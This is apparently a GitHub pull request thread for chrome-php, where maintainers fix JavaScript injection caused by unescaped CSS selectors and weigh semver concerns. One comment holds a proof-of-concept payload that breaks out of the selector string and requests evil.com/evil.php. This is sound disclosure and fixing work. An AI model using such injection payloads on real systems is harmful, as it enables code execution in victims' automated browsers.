-
Notifications
You must be signed in to change notification settings - Fork 304
[1.14] Security fix for missing encoding in CssSelector
#691
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Conversation
CSS Selector expressions are not properly encoded, for example
input[type="password"]
is a perfectly valid CSS selector, and
$page->mouse()->find('input[type="password"]')
should have worked, but it generate a javascript syntax error at runtime:
```
document.querySelectorAll("input[name="email"]").length
```
resulting in
PHP Fatal error: Uncaught HeadlessChromium\Exception\ElementNotFoundException: The search for "document.querySelectorAll("input[name="email"]").length" returned no result. in /home/hans/projects/tryparrotai-unofficial-api/vendor/chrome-php/chrome/src/Input/Mouse.php:302
Stack trace:
#0 /home/hans/projects/tryparrotai-unofficial-api/vendor/chrome-php/chrome/src/Input/Mouse.php(269): HeadlessChromium\Input\Mouse->findElement()
Exactly the same issue as chrome-php#576
|
interestingly, Line 444 in b10c8c1
is failing. The testcase itself is actually bugged, is a CSS selector to search for rather than 🤔 it is a bug in our CssSelector, but fixing it is likely to break code in the wild, just like it broke this testcase ping @enricodias @GrahamCampbell suggestions? |
|
Definitely not a fan of keeping it as-is: if an attacker can influence the contents of we're actually looking at a javascript injection vulnerability 🤔 |
|
An optional argument with a flag to make it possible to choose when to escape the slashes, perhaps? |
that could work, but if we want to be injection-safe-by-default, we'd probably need the default to be not backwards compatible... otherwise we have an api that is injection-vulnerable by default, but can be made safe via a flag Maybe we could just document the issue for the remainder of v1.x.x and fix it properly in v2.0.0? |
|
here is what the injection looks like btw: $payload=<<<'PAYLOAD'
"+(function(){
xhr=new XMLHttpRequest();
xhr.open('GET','http://evil.com/evil.php',false);
xhr.send();
return "a";
})()+"
PAYLOAD;
$page->mouse()->find($payload)->click();it successfully ping evil.com/evil.php
|
|
Maybe we could add new methods with the proper escape and mark the old ones as deprecated? I don't know when we'll have a v2 and people usually take a very long time to move to a new major version. |
|
Yeah that would work. in that case, what should the new methods be named? findEx() (WinAPI style)? find2()? |
maybe i'm warming up to the idea of being insecure-by-default, we could do for the remainder of v1.x.x, triggering a E_DEPRECATED on true, pros:
cons:
|
|
It is much simplier to just change this to do the encoding in a minor release, and call it a security fix. Security fixes are usually, by their nature, breaking. |
|
Yeah that's the simplest solution. It is a semver violation, but it's also the path of least resistance. I'd be okay with it. |
|
Here is some Random code in the wild which actually seems vulnerable: Line 47 (can't inline right now because Github mobil limitations) |
|
On the flip side, here is a snippet from the chrome-php README.md that would break without warning: Line 792 in b10c8c1
(Line 792) -i'd still be okay-ish with it tho. |
|
If Graham doesn't mind this breaking bc in a minor release for a security fix, I'm ok with it. |
|
It's common for projects who follow semver to make "breaking" changes in patch or minor releases in order to mitigate security issues. I've done it before in Guzzle to reject bad input for HTTP header names, where earlier versions accepted them. It's a somewhat similar situation to this. GHSA-wxmh-65f7-jcvw |
|
Well let's get this thing merged |
CssSelector
|
Let's target this at 1.14.0. I'm requesting a CVE from GitHub. |
|
Nice. if (\version_compare(\Composer\InstalledVersions::getVersion('chrome-php/chrome'), '1.14.0', '<')) {
$selector = \json_encode($selector);
}
$page->mouse()->find($selector)that's a decent way to work around it for people who "can't upgrade" |
CSS Selector expressions are not properly encoded, for example
input[type="password"]is a perfectly valid CSS selector, and
should have worked, but it generate a javascript syntax error at runtime:
resulting in
This is the same issue as in #576